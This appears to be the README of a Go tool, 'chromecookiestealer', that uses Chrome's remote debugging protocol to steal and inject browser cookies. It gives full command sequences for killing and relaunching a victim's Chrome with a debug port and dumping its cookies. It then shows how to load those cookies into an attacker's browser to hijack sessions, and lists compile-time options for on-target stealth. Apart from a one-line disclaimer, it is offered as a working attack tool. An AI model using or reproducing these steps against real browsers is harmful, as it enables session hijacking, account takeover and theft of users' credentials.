Attaches to Chrome using its Remote DevTools protocol and steals/injects/clears/deletes cookies.
Heavily inspired by WhiteChocolateMacademiaNut.
Cookies are dumped as JSON objects using Chrome's own format. The same format is used for cookies to be loaded.
For legal use only.
Steal a victim's cookies:

git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
./chromecookiestealer -dump ./cookies.jsonInject into the attacker's local browser:
# Start Chrome with a debug port, as above.
./chromecookiestealer -clear -inject ./cookies.jsonUsage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
C lear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
go build should be all that's necessary. The following may be set at compile time with -ldflags '-X main.Foo=bar' for a touch more on-target stealth.
| Variable | Description |
|---|---|
| DumpFile | Name of a file to which to dump cookies. Implies -dump
|
| InjectFile | Name of a file from which to inject cookies. Implies -inject
|
| DeleteFile | Name of a file with parameters describing cookies to delete. Implies -delete
|
| DoClear | If set to any value, implies -clear
|
None of the above are set by default.
The Chrome DevTools Protocol is a bit of a moving target. It may be necessary to use a newer version of the chromedp and cdproto libraries should this program stop working. This can be done with
go get -u -v all
go mod tidy
go buildwhich could well have the side-effect of breaking everything else.
